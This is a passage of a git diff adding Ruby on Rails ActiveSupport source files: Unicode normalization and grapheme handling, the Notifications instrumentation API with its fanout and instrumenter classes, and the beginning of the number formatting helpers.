+          @wrapped_string = send(method, *args).to_s
+          self
+        end
+      end
+
+      private
+
+        def translate_offset(byte_offset)
+          return nil if byte_offset.nil?
+          return 0   if @wrapped_string == ""
+
+          begin
+            @wrapped_string.byteslice(0...byte_offset).unpack("U*").length
+          rescue ArgumentError
+            byte_offset -= 1
+            retry
+          end
+        end
+
+        def chars(string)
+          self.class.new(string)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
new file mode 100644
index 0000000000..a64223c0e0
--- /dev/null
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -0,0 +1,394 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Multibyte
+    module Unicode
+      extend self
+
+      # A list of all available normalization forms.
+      # See http://www.unicode.org/reports/tr15/tr15-29.html for more
+      # information about normalization.
+      NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
+
+      # The Unicode version that is supported by the implementation
+      UNICODE_VERSION = "9.0.0"
+
+      # The default normalization used for operations that require
+      # normalization. It can be set to any of the normalizations
+      # in NORMALIZATION_FORMS.
+      #
+      #   ActiveSupport::Multibyte::Unicode.default_normalization_form = :c
+      attr_accessor :default_normalization_form
+      @default_normalization_form = :kc
+
+      # Hangul character boundaries and properties
+      HANGUL_SBASE = 0xAC00
+      HANGUL_LBASE = 0x1100
+      HANGUL_VBASE = 0x1161
+      HANGUL_TBASE = 0x11A7
+      HANGUL_LCOUNT = 19
+      HANGUL_VCOUNT = 21
+      HANGUL_TCOUNT = 28
+      HANGUL_NCOUNT = HANGUL_VCOUNT * HANGUL_TCOUNT
+      HANGUL_SCOUNT = 11172
+      HANGUL_SLAST = HANGUL_SBASE + HANGUL_SCOUNT
+
+      # Detect whether the codepoint is in a certain character class. Returns
+      # +true+ when it's in the specified character class and +false+ otherwise.
+      # Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
+      # <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
+      #
+      # Primarily used by the grapheme cluster support.
+      def in_char_class?(codepoint, classes)
+        classes.detect { |c| database.boundary[c] === codepoint } ? true : false
+      end
+
+      # Unpack the string at grapheme boundaries. Returns a list of character
+      # lists.
+      #
+      #   Unicode.unpack_graphemes('क्षि') # => [[2325, 2381], [2359], [2367]]
+      #   Unicode.unpack_graphemes('Café') # => [[67], [97], [102], [233]]
+      def unpack_graphemes(string)
+        codepoints = string.codepoints.to_a
+        unpacked = []
+        pos = 0
+        marker = 0
+        eoc = codepoints.length
+        while (pos < eoc)
+          pos += 1
+          previous = codepoints[pos - 1]
+          current = codepoints[pos]
+
+          # See http://unicode.org/reports/tr29/#Grapheme_Cluster_Boundary_Rules
+          should_break =
+            if pos == eoc
+              true
+            # GB3. CR X LF
+            elsif previous == database.boundary[:cr] && current == database.boundary[:lf]
+              false
+            # GB4. (Control|CR|LF) ÷
+            elsif previous && in_char_class?(previous, [:control, :cr, :lf])
+              true
+            # GB5. ÷ (Control|CR|LF)
+            elsif in_char_class?(current, [:control, :cr, :lf])
+              true
+            # GB6. L X (L|V|LV|LVT)
+            elsif database.boundary[:l] === previous && in_char_class?(current, [:l, :v, :lv, :lvt])
+              false
+            # GB7. (LV|V) X (V|T)
+            elsif in_char_class?(previous, [:lv, :v]) && in_char_class?(current, [:v, :t])
+              false
+            # GB8. (LVT|T) X (T)
+            elsif in_char_class?(previous, [:lvt, :t]) && database.boundary[:t] === current
+              false
+            # GB9. X (Extend | ZWJ)
+            elsif in_char_class?(current, [:extend, :zwj])
+              false
+            # GB9a. X SpacingMark
+            elsif database.boundary[:spacingmark] === current
+              false
+            # GB9b. Prepend X
+            elsif database.boundary[:prepend] === previous
+              false
+            # GB10. (E_Base | EBG) Extend* X E_Modifier
+            elsif (marker...pos).any? { |i| in_char_class?(codepoints[i], [:e_base, :e_base_gaz]) && codepoints[i + 1...pos].all? { |c| database.boundary[:extend] === c } } && database.boundary[:e_modifier] === current
+              false
+            # GB11. ZWJ X (Glue_After_Zwj | EBG)
+            elsif database.boundary[:zwj] === previous && in_char_class?(current, [:glue_after_zwj, :e_base_gaz])
+              false
+            # GB12. ^ (RI RI)* RI X RI
+            # GB13. [^RI] (RI RI)* RI X RI
+            elsif codepoints[marker..pos].all? { |c| database.boundary[:regional_indicator] === c } && codepoints[marker..pos].count { |c| database.boundary[:regional_indicator] === c }.even?
+              false
+            # GB999. Any ÷ Any
+            else
+              true
+            end
+
+          if should_break
+            unpacked << codepoints[marker..pos - 1]
+            marker = pos
+          end
+        end
+        unpacked
+      end
+
+      # Reverse operation of unpack_graphemes.
+      #
+      #   Unicode.pack_graphemes(Unicode.unpack_graphemes('क्षि')) # => 'क्षि'
+      def pack_graphemes(unpacked)
+        unpacked.flatten.pack("U*")
+      end
+
+      # Re-order codepoints so the string becomes canonical.
+      def reorder_characters(codepoints)
+        length = codepoints.length - 1
+        pos = 0
+        while pos < length do
+          cp1, cp2 = database.codepoints[codepoints[pos]], database.codepoints[codepoints[pos + 1]]
+          if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)
+            codepoints[pos..pos + 1] = cp2.code, cp1.code
+            pos += (pos > 0 ? -1 : 1)
+          else
+            pos += 1
+          end
+        end
+        codepoints
+      end
+
+      # Decompose composed characters to the decomposed form.
+      def decompose(type, codepoints)
+        codepoints.inject([]) do |decomposed, cp|
+          # if it's a hangul syllable starter character
+          if HANGUL_SBASE <= cp && cp < HANGUL_SLAST
+            sindex = cp - HANGUL_SBASE
+            ncp = [] # new codepoints
+            ncp << HANGUL_LBASE + sindex / HANGUL_NCOUNT
+            ncp << HANGUL_VBASE + (sindex % HANGUL_NCOUNT) / HANGUL_TCOUNT
+            tindex = sindex % HANGUL_TCOUNT
+            ncp << (HANGUL_TBASE + tindex) unless tindex == 0
+            decomposed.concat ncp
+          # if the codepoint is decomposable in with the current decomposition type
+          elsif (ncp = database.codepoints[cp].decomp_mapping) && (!database.codepoints[cp].decomp_type || type == :compatibility)
+            decomposed.concat decompose(type, ncp.dup)
+          else
+            decomposed << cp
+          end
+        end
+      end
+
+      # Compose decomposed characters to the composed form.
+      def compose(codepoints)
+        pos = 0
+        eoa = codepoints.length - 1
+        starter_pos = 0
+        starter_char = codepoints[0]
+        previous_combining_class = -1
+        while pos < eoa
+          pos += 1
+          lindex = starter_char - HANGUL_LBASE
+          # -- Hangul
+          if 0 <= lindex && lindex < HANGUL_LCOUNT
+            vindex = codepoints[starter_pos + 1] - HANGUL_VBASE rescue vindex = -1
+            if 0 <= vindex && vindex < HANGUL_VCOUNT
+              tindex = codepoints[starter_pos + 2] - HANGUL_TBASE rescue tindex = -1
+              if 0 <= tindex && tindex < HANGUL_TCOUNT
+                j = starter_pos + 2
+                eoa -= 2
+              else
+                tindex = 0
+                j = starter_pos + 1
+                eoa -= 1
+              end
+              codepoints[starter_pos..j] = (lindex * HANGUL_VCOUNT + vindex) * HANGUL_TCOUNT + tindex + HANGUL_SBASE
+            end
+            starter_pos += 1
+            starter_char = codepoints[starter_pos]
+          # -- Other characters
+          else
+            current_char = codepoints[pos]
+            current = database.codepoints[current_char]
+            if current.combining_class > previous_combining_class
+              if ref = database.composition_map[starter_char]
+                composition = ref[current_char]
+              else
+                composition = nil
+              end
+              unless composition.nil?
+                codepoints[starter_pos] = composition
+                starter_char = composition
+                codepoints.delete_at pos
+                eoa -= 1
+                pos -= 1
+                previous_combining_class = -1
+              else
+                previous_combining_class = current.combining_class
+              end
+            else
+              previous_combining_class = current.combining_class
+            end
+            if current.combining_class == 0
+              starter_pos = pos
+              starter_char = codepoints[pos]
+            end
+          end
+        end
+        codepoints
+      end
+
+      # Rubinius' String#scrub, however, doesn't support ASCII-incompatible chars.
+      if !defined?(Rubinius)
+        # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+        # resulting in a valid UTF-8 string.
+        #
+        # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+        # encoding is entirely CP1252 or ISO-8859-1.
+        def tidy_bytes(string, force = false)
+          return string if string.empty?
+          return recode_windows1252_chars(string) if force
+          string.scrub { |bad| recode_windows1252_chars(bad) }
+        end
+      else
+        def tidy_bytes(string, force = false)
+          return string if string.empty?
+          return recode_windows1252_chars(string) if force
+
+          # We can't transcode to the same format, so we choose a nearly-identical encoding.
+          # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
+          # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
+          # before returning.
+          reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_16LE)
+
+          source = string.dup
+          out = "".force_encoding(Encoding::UTF_16LE)
+
+          loop do
+            reader.primitive_convert(source, out)
+            _, _, _, error_bytes, _ = reader.primitive_errinfo
+            break if error_bytes.nil?
+            out << error_bytes.encode(Encoding::UTF_16LE, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+          end
+
+          reader.finish
+
+          out.encode!(Encoding::UTF_8)
+        end
+      end
+
+      # Returns the KC normalization of the string by default. NFKC is
+      # considered the best normalization form for passing strings to databases
+      # and validations.
+      #
+      # * <tt>string</tt> - The string to perform normalization on.
+      # * <tt>form</tt> - The form you want to normalize in. Should be one of
+      #   the following: <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>.
+      #   Default is ActiveSupport::Multibyte::Unicode.default_normalization_form.
+      def normalize(string, form = nil)
+        form ||= @default_normalization_form
+        # See http://www.unicode.org/reports/tr15, Table 1
+        codepoints = string.codepoints.to_a
+        case form
+        when :d
+          reorder_characters(decompose(:canonical, codepoints))
+        when :c
+          compose(reorder_characters(decompose(:canonical, codepoints)))
+        when :kd
+          reorder_characters(decompose(:compatibility, codepoints))
+        when :kc
+          compose(reorder_characters(decompose(:compatibility, codepoints)))
+          else
+          raise ArgumentError, "#{form} is not a valid normalization variant", caller
+        end.pack("U*".freeze)
+      end
+
+      def downcase(string)
+        apply_mapping string, :lowercase_mapping
+      end
+
+      def upcase(string)
+        apply_mapping string, :uppercase_mapping
+      end
+
+      def swapcase(string)
+        apply_mapping string, :swapcase_mapping
+      end
+
+      # Holds data about a codepoint in the Unicode database.
+      class Codepoint
+        attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
+
+        # Initializing Codepoint object with default values
+        def initialize
+          @combining_class = 0
+          @uppercase_mapping = 0
+          @lowercase_mapping = 0
+        end
+
+        def swapcase_mapping
+          uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
+        end
+      end
+
+      # Holds static data from the Unicode database.
+      class UnicodeDatabase
+        ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252
+
+        attr_writer(*ATTRIBUTES)
+
+        def initialize
+          @codepoints = Hash.new(Codepoint.new)
+          @composition_exclusion = []
+          @composition_map = {}
+          @boundary = {}
+          @cp1252 = {}
+        end
+
+        # Lazy load the Unicode database so it's only loaded when it's actually used
+        ATTRIBUTES.each do |attr_name|
+          class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+            def #{attr_name}     # def codepoints
+              load               #   load
+              @#{attr_name}      #   @codepoints
+            end                  # end
+          EOS
+        end
+
+        # Loads the Unicode database and returns all the internal objects of
+        # UnicodeDatabase.
+        def load
+          begin
+            @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, "rb") { |f| Marshal.load f.read }
+          rescue => e
+            raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
+          end
+
+          # Redefine the === method so we can write shorter rules for grapheme cluster breaks
+          @boundary.each_key do |k|
+            @boundary[k].instance_eval do
+              def ===(other)
+                detect { |i| i === other } ? true : false
+              end
+            end if @boundary[k].kind_of?(Array)
+          end
+
+          # define attr_reader methods for the instance variables
+          class << self
+            attr_reader(*ATTRIBUTES)
+          end
+        end
+
+        # Returns the directory in which the data files are stored.
+        def self.dirname
+          File.expand_path("../values", __dir__)
+        end
+
+        # Returns the filename for the data file for this version.
+        def self.filename
+          File.expand_path File.join(dirname, "unicode_tables.dat")
+        end
+      end
+
+      private
+
+        def apply_mapping(string, mapping)
+          database.codepoints
+          string.each_codepoint.map do |codepoint|
+            cp = database.codepoints[codepoint]
+            if cp && (ncp = cp.send(mapping)) && ncp > 0
+              ncp
+            else
+              codepoint
+            end
+          end.pack("U*")
+        end
+
+        def recode_windows1252_chars(string)
+          string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+        end
+
+        def database
+          @database ||= UnicodeDatabase.new
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
new file mode 100644
index 0000000000..96a3463905
--- /dev/null
+++ b/activesupport/lib/active_support/notifications.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+require_relative "notifications/instrumenter"
+require_relative "notifications/fanout"
+require_relative "per_thread_registry"
+
+module ActiveSupport
+  # = Notifications
+  #
+  # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for
+  # Ruby.
+  #
+  # == Instrumenters
+  #
+  # To instrument an event you just need to do:
+  #
+  #   ActiveSupport::Notifications.instrument('render', extra: :information) do
+  #     render plain: 'Foo'
+  #   end
+  #
+  # That first executes the block and then notifies all subscribers once done.
+  #
+  # In the example above +render+ is the name of the event, and the rest is called
+  # the _payload_. The payload is a mechanism that allows instrumenters to pass
+  # extra information to subscribers. Payloads consist of a hash whose contents
+  # are arbitrary and generally depend on the event.
+  #
+  # == Subscribers
+  #
+  # You can consume those events and the information they provide by registering
+  # a subscriber.
+  #
+  #   ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
+  #     name    # => String, name of the event (such as 'render' from above)
+  #     start   # => Time, when the instrumented block started execution
+  #     finish  # => Time, when the instrumented block ended execution
+  #     id      # => String, unique ID for this notification
+  #     payload # => Hash, the payload
+  #   end
+  #
+  # For instance, let's store all "render" events in an array:
+  #
+  #   events = []
+  #
+  #   ActiveSupport::Notifications.subscribe('render') do |*args|
+  #     events << ActiveSupport::Notifications::Event.new(*args)
+  #   end
+  #
+  # That code returns right away, you are just subscribing to "render" events.
+  # The block is saved and will be called whenever someone instruments "render":
+  #
+  #   ActiveSupport::Notifications.instrument('render', extra: :information) do
+  #     render plain: 'Foo'
+  #   end
+  #
+  #   event = events.first
+  #   event.name      # => "render"
+  #   event.duration  # => 10 (in milliseconds)
+  #   event.payload   # => { extra: :information }
+  #
+  # The block in the <tt>subscribe</tt> call gets the name of the event, start
+  # timestamp, end timestamp, a string with a unique identifier for that event
+  # (something like "535801666f04d0298cd6"), and a hash with the payload, in
+  # that order.
+  #
+  # If an exception happens during that particular instrumentation the payload will
+  # have a key <tt>:exception</tt> with an array of two elements as value: a string with
+  # the name of the exception class, and the exception message.
+  # The <tt>:exception_object</tt> key of the payload will have the exception
+  # itself as the value.
+  #
+  # As the previous example depicts, the class <tt>ActiveSupport::Notifications::Event</tt>
+  # is able to take the arguments as they come and provide an object-oriented
+  # interface to that data.
+  #
+  # It is also possible to pass an object which responds to <tt>call</tt> method
+  # as the second parameter to the <tt>subscribe</tt> method instead of a block:
+  #
+  #   module ActionController
+  #     class PageRequest
+  #       def call(name, started, finished, unique_id, payload)
+  #         Rails.logger.debug ['notification:', name, started, finished, unique_id, payload].join(' ')
+  #       end
+  #     end
+  #   end
+  #
+  #   ActiveSupport::Notifications.subscribe('process_action.action_controller', ActionController::PageRequest.new)
+  #
+  # resulting in the following output within the logs including a hash with the payload:
+  #
+  #   notification: process_action.action_controller 2012-04-13 01:08:35 +0300 2012-04-13 01:08:35 +0300 af358ed7fab884532ec7 {
+  #      controller: "Devise::SessionsController",
+  #      action: "new",
+  #      params: {"action"=>"new", "controller"=>"devise/sessions"},
+  #      format: :html,
+  #      method: "GET",
+  #      path: "/login/sign_in",
+  #      status: 200,
+  #      view_runtime: 279.3080806732178,
+  #      db_runtime: 40.053
+  #    }
+  #
+  # You can also subscribe to all events whose name matches a certain regexp:
+  #
+  #   ActiveSupport::Notifications.subscribe(/render/) do |*args|
+  #     ...
+  #   end
+  #
+  # and even pass no argument to <tt>subscribe</tt>, in which case you are subscribing
+  # to all events.
+  #
+  # == Temporary Subscriptions
+  #
+  # Sometimes you do not want to subscribe to an event for the entire life of
+  # the application. There are two ways to unsubscribe.
+  #
+  # WARNING: The instrumentation framework is designed for long-running subscribers,
+  # use this feature sparingly because it wipes some internal caches and that has
+  # a negative impact on performance.
+  #
+  # === Subscribe While a Block Runs
+  #
+  # You can subscribe to some event temporarily while some block runs. For
+  # example, in
+  #
+  #   callback = lambda {|*args| ... }
+  #   ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+  #     ...
+  #   end
+  #
+  # the callback will be called for all "sql.active_record" events instrumented
+  # during the execution of the block. The callback is unsubscribed automatically
+  # after that.
+  #
+  # === Manual Unsubscription
+  #
+  # The +subscribe+ method returns a subscriber object:
+  #
+  #   subscriber = ActiveSupport::Notifications.subscribe("render") do |*args|
+  #     ...
+  #   end
+  #
+  # To prevent that block from being called anymore, just unsubscribe passing
+  # that reference:
+  #
+  #   ActiveSupport::Notifications.unsubscribe(subscriber)
+  #
+  # You can also unsubscribe by passing the name of the subscriber object. Note
+  # that this will unsubscribe all subscriptions with the given name:
+  #
+  #   ActiveSupport::Notifications.unsubscribe("render")
+  #
+  # == Default Queue
+  #
+  # Notifications ships with a queue implementation that consumes and publishes events
+  # to all log subscribers. You can use any queue implementation you want.
+  #
+  module Notifications
+    class << self
+      attr_accessor :notifier
+
+      def publish(name, *args)
+        notifier.publish(name, *args)
+      end
+
+      def instrument(name, payload = {})
+        if notifier.listening?(name)
+          instrumenter.instrument(name, payload) { yield payload if block_given? }
+        else
+          yield payload if block_given?
+        end
+      end
+
+      def subscribe(*args, &block)
+        notifier.subscribe(*args, &block)
+      end
+
+      def subscribed(callback, *args, &block)
+        subscriber = subscribe(*args, &callback)
+        yield
+      ensure
+        unsubscribe(subscriber)
+      end
+
+      def unsubscribe(subscriber_or_name)
+        notifier.unsubscribe(subscriber_or_name)
+      end
+
+      def instrumenter
+        InstrumentationRegistry.instance.instrumenter_for(notifier)
+      end
+    end
+
+    # This class is a registry which holds all of the +Instrumenter+ objects
+    # in a particular thread local. To access the +Instrumenter+ object for a
+    # particular +notifier+, you can call the following method:
+    #
+    #   InstrumentationRegistry.instrumenter_for(notifier)
+    #
+    # The instrumenters for multiple notifiers are held in a single instance of
+    # this class.
+    class InstrumentationRegistry # :nodoc:
+      extend ActiveSupport::PerThreadRegistry
+
+      def initialize
+        @registry = {}
+      end
+
+      def instrumenter_for(notifier)
+        @registry[notifier] ||= Instrumenter.new(notifier)
+      end
+    end
+
+    self.notifier = Fanout.new
+  end
+end
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
new file mode 100644
index 0000000000..25aab175b4
--- /dev/null
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+require "mutex_m"
+require "concurrent/map"
+
+module ActiveSupport
+  module Notifications
+    # This is a default queue implementation that ships with Notifications.
+    # It just pushes events to all registered log subscribers.
+    #
+    # This class is thread safe. All methods are reentrant.
+    class Fanout
+      include Mutex_m
+
+      def initialize
+        @subscribers = []
+        @listeners_for = Concurrent::Map.new
+        super
+      end
+
+      def subscribe(pattern = nil, block = Proc.new)
+        subscriber = Subscribers.new pattern, block
+        synchronize do
+          @subscribers << subscriber
+          @listeners_for.clear
+        end
+        subscriber
+      end
+
+      def unsubscribe(subscriber_or_name)
+        synchronize do
+          case subscriber_or_name
+          when String
+            @subscribers.reject! { |s| s.matches?(subscriber_or_name) }
+          else
+            @subscribers.delete(subscriber_or_name)
+          end
+
+          @listeners_for.clear
+        end
+      end
+
+      def start(name, id, payload)
+        listeners_for(name).each { |s| s.start(name, id, payload) }
+      end
+
+      def finish(name, id, payload, listeners = listeners_for(name))
+        listeners.each { |s| s.finish(name, id, payload) }
+      end
+
+      def publish(name, *args)
+        listeners_for(name).each { |s| s.publish(name, *args) }
+      end
+
+      def listeners_for(name)
+        # this is correctly done double-checked locking (Concurrent::Map's lookups have volatile semantics)
+        @listeners_for[name] || synchronize do
+          # use synchronisation when accessing @subscribers
+          @listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) }
+        end
+      end
+
+      def listening?(name)
+        listeners_for(name).any?
+      end
+
+      # This is a sync queue, so there is no waiting.
+      def wait
+      end
+
+      module Subscribers # :nodoc:
+        def self.new(pattern, listener)
+          if listener.respond_to?(:start) && listener.respond_to?(:finish)
+            subscriber = Evented.new pattern, listener
+          else
+            subscriber = Timed.new pattern, listener
+          end
+
+          unless pattern
+            AllMessages.new(subscriber)
+          else
+            subscriber
+          end
+        end
+
+        class Evented #:nodoc:
+          def initialize(pattern, delegate)
+            @pattern = pattern
+            @delegate = delegate
+            @can_publish = delegate.respond_to?(:publish)
+          end
+
+          def publish(name, *args)
+            if @can_publish
+              @delegate.publish name, *args
+            end
+          end
+
+          def start(name, id, payload)
+            @delegate.start name, id, payload
+          end
+
+          def finish(name, id, payload)
+            @delegate.finish name, id, payload
+          end
+
+          def subscribed_to?(name)
+            @pattern === name
+          end
+
+          def matches?(name)
+            @pattern && @pattern === name
+          end
+        end
+
+        class Timed < Evented # :nodoc:
+          def publish(name, *args)
+            @delegate.call name, *args
+          end
+
+          def start(name, id, payload)
+            timestack = Thread.current[:_timestack] ||= []
+            timestack.push Time.now
+          end
+
+          def finish(name, id, payload)
+            timestack = Thread.current[:_timestack]
+            started = timestack.pop
+            @delegate.call(name, started, Time.now, id, payload)
+          end
+        end
+
+        class AllMessages # :nodoc:
+          def initialize(delegate)
+            @delegate = delegate
+          end
+
+          def start(name, id, payload)
+            @delegate.start name, id, payload
+          end
+
+          def finish(name, id, payload)
+            @delegate.finish name, id, payload
+          end
+
+          def publish(name, *args)
+            @delegate.publish name, *args
+          end
+
+          def subscribed_to?(name)
+            true
+          end
+
+          alias :matches? :===
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
new file mode 100644
index 0000000000..e99f5ee688
--- /dev/null
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "securerandom"
+
+module ActiveSupport
+  module Notifications
+    # Instrumenters are stored in a thread local.
+    class Instrumenter
+      attr_reader :id
+
+      def initialize(notifier)
+        @id       = unique_id
+        @notifier = notifier
+      end
+
+      # Instrument the given block by measuring the time taken to execute it
+      # and publish it. Notice that events get sent even if an error occurs
+      # in the passed-in block.
+      def instrument(name, payload = {})
+        # some of the listeners might have state
+        listeners_state = start name, payload
+        begin
+          yield payload
+        rescue Exception => e
+          payload[:exception] = [e.class.name, e.message]
+          payload[:exception_object] = e
+          raise e
+        ensure
+          finish_with_state listeners_state, name, payload
+        end
+      end
+
+      # Send a start notification with +name+ and +payload+.
+      def start(name, payload)
+        @notifier.start name, @id, payload
+      end
+
+      # Send a finish notification with +name+ and +payload+.
+      def finish(name, payload)
+        @notifier.finish name, @id, payload
+      end
+
+      def finish_with_state(listeners_state, name, payload)
+        @notifier.finish name, @id, payload, listeners_state
+      end
+
+      private
+
+        def unique_id
+          SecureRandom.hex(10)
+        end
+    end
+
+    class Event
+      attr_reader :name, :time, :transaction_id, :payload, :children
+      attr_accessor :end
+
+      def initialize(name, start, ending, transaction_id, payload)
+        @name           = name
+        @payload        = payload.dup
+        @time           = start
+        @transaction_id = transaction_id
+        @end            = ending
+        @children       = []
+        @duration       = nil
+      end
+
+      # Returns the difference in milliseconds between when the execution of the
+      # event started and when it ended.
+      #
+      #   ActiveSupport::Notifications.subscribe('wait') do |*args|
+      #     @event = ActiveSupport::Notifications::Event.new(*args)
+      #   end
+      #
+      #   ActiveSupport::Notifications.instrument('wait') do
+      #     sleep 1
+      #   end
+      #
+      #   @event.duration # => 1000.138
+      def duration
+        @duration ||= 1000.0 * (self.end - time)
+      end
+
+      def <<(event)
+        @children << event
+      end
+
+      def parent_of?(event)
+        @children.include? event
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
new file mode 100644
index 0000000000..8fd6e932f1
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -0,0 +1,371 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :NumberConverter
+      autoload :RoundingHelper
+      autoload :NumberToRoundedConverter
+      autoload :NumberToDelimitedConverter
+      autoload :NumberToHumanConverter
+      autoload :NumberToHumanSizeConverter
+      autoload :NumberToPhoneConverter
+      autoload :NumberToCurrencyConverter
+      autoload :NumberToPercentageConverter
+    end
+
+    extend self
+
+    # Formats a +number+ into a phone number (US by default e.g., (555)
+    # 123-9876). You can customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:area_code</tt> - Adds parentheses around the area code.
+    # * <tt>:delimiter</tt> - Specifies the delimiter to use
+    #   (defaults to "-").
+    # * <tt>:extension</tt> - Specifies an extension to add to the
+    #   end of the generated number.
+    # * <tt>:country_code</tt> - Sets the country code for the phone
+    #   number.
+    # * <tt>:pattern</tt> - Specifies how the number is divided into three
+    #   groups with the custom regexp to override the default format.
+    # ==== Examples
+    #
+    #   number_to_phone(5551234)                                     # => "555-1234"
+    #   number_to_phone('5551234')                                   # => "555-1234"
+    #   number_to_phone(1235551234)                                  # => "123-555-1234"
+    #   number_to_phone(1235551234, area_code: true)                 # => "(123) 555-1234"
+    #   number_to_phone(1235551234, delimiter: ' ')                  # => "123 555 1234"
+    #   number_to_phone(1235551234, area_code: true, extension: 555) # => "(123) 555-1234 x 555"
+    #   number_to_phone(1235551234, country_code: 1)                 # => "+1-123-555-1234"
+    #   number_to_phone('123a456')                                   # => "123a456"
+    #
+    #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
+    #   # => "+1.123.555.1234 x 1343"
+    #
+    #   number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true)
+    #   # => "(755) 6123-4567"
+    #   number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/)
+    #   # => "133-1234-5678"
+    def number_to_phone(number, options = {})
+      NumberToPhoneConverter.convert(number, options)
+    end
+
+    # Formats a +number+ into a currency string (e.g., $13.65). You
+    # can customize the format in the +options+ hash.
+    #
+    # The currency unit and number formatting of the current locale will be used
+    # unless otherwise specified in the provided options. No currency conversion
+    # is performed. If the user is given a way to change their locale, they will
+    # also be able to change the relative value of the currency displayed with
+    # this helper. If your application will ever support multiple locales, you
+    # may want to specify a constant <tt>:locale</tt> option or consider
+    # using a library capable of currency conversion.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the level of precision (defaults
+    #   to 2).
+    # * <tt>:unit</tt> - Sets the denomination of the currency
+    #   (defaults to "$").
+    # * <tt>:separator</tt> - Sets the separator between the units
+    #   (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to ",").
+    # * <tt>:format</tt> - Sets the format for non-negative numbers
+    #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
+    #   currency, and <tt>%n</tt> for the number.
+    # * <tt>:negative_format</tt> - Sets the format for negative
+    #   numbers (defaults to prepending a hyphen to the formatted
+    #   number given by <tt>:format</tt>).  Accepts the same fields
+    #   than <tt>:format</tt>, except <tt>%n</tt> is here the
+    #   absolute value of the number.
+    #
+    # ==== Examples
+    #
+    #   number_to_currency(1234567890.50)                # => "$1,234,567,890.50"
+    #   number_to_currency(1234567890.506)               # => "$1,234,567,890.51"
+    #   number_to_currency(1234567890.506, precision: 3) # => "$1,234,567,890.506"
+    #   number_to_currency(1234567890.506, locale: :fr)  # => "1 234 567 890,51 €"
+    #   number_to_currency('123a456')                    # => "$123a456"
+    #
+    #   number_to_currency(-1234567890.50, negative_format: '(%u%n)')
+    #   # => "($1,234,567,890.50)"
+    #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '')
+    #   # => "&pound;1234567890,50"
+    #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
+    #   # => "1234567890,50 &pound;"
+    def number_to_currency(number, options = {})
+      NumberToCurrencyConverter.convert(number, options)
+    end
+
+    # Formats a +number+ as a percentage string (e.g., 65%). You can
+    # customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3). Keeps the number's precision if +nil+.
+    # * <tt>:significant</tt> - If +true+, precision will be the number
+    #   of significant_digits. If +false+, the number of fractional
+    #   digits (defaults to +false+).
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +false+).
+    # * <tt>:format</tt> - Specifies the format of the percentage
+    #   string The number field is <tt>%n</tt> (defaults to "%n%").
+    #
+    # ==== Examples
+    #
+    #   number_to_percentage(100)                                  # => "100.000%"
+    #   number_to_percentage('98')                                 # => "98.000%"
